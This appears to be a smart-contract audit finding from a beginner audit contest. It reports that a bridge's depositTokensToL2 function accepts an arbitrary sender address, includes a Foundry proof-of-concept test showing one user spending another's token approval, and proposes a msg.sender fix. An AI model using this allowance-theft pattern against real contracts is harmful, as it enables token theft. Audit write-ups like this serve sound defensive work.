Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

User can use other address ERC20 contract balance to bridge to L2

[H-1] User can use other address ERC20 contract balance to bridge to L2

Description:
The depositTokensToL2 method allows specifying from which address the tokens to be transfered to the vault. If user A has already approved the bridge to spend tokens on behalf of him, another user B can use this allowance before user A to bridge some tokens in his favour.

Impact:
High

Tools used:
foundry

Proof of Concept:

/// This test shows that If user A approves token bridge to spend their tokens, another user B can use A's tokens to deposit to the vault
function testEveryoneCanDepositEveryoneTokensToL2() public {
address me = makeAddr("me");
vm.prank(deployer);
token.transfer(me, 500e18);
uint256 starting_me_balance = token.balanceOf(me);
uint256 starting_user_balance = token.balanceOf(user);
console.log("me balance", starting_me_balance);
console.log("user balance", starting_user_balance);
uint256 amount = 10e18;
vm.prank(me);
token.approve(address(tokenBridge), amount);
vm.prank(user);
tokenBridge.depositTokensToL2(me, userInL2, amount);
console.log("me balance", token.balanceOf(me));
console.log("user balance", token.balanceOf(user));
assertEq(token.balanceOf(me), starting_me_balance - amount);
// Use msg.sender when depositing to L2
}

Recommended Mitigation:
Remove from address from arguments and use msg.sender

diff --git a/src/L1BossBridge.sol b/src/L1BossBridge.sol
index 8fddb07..c7772ac 100644
--- a/src/L1BossBridge.sol
+++ b/src/L1BossBridge.sol
@@ -55,14 +57,15 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param l2Recipient The address of the user who will receive the tokens on L2
* @param amount The amount of tokens to deposit
*/
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ // (H-1) why from address is supplied this way, Alice can send Bob's tokens to L2
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.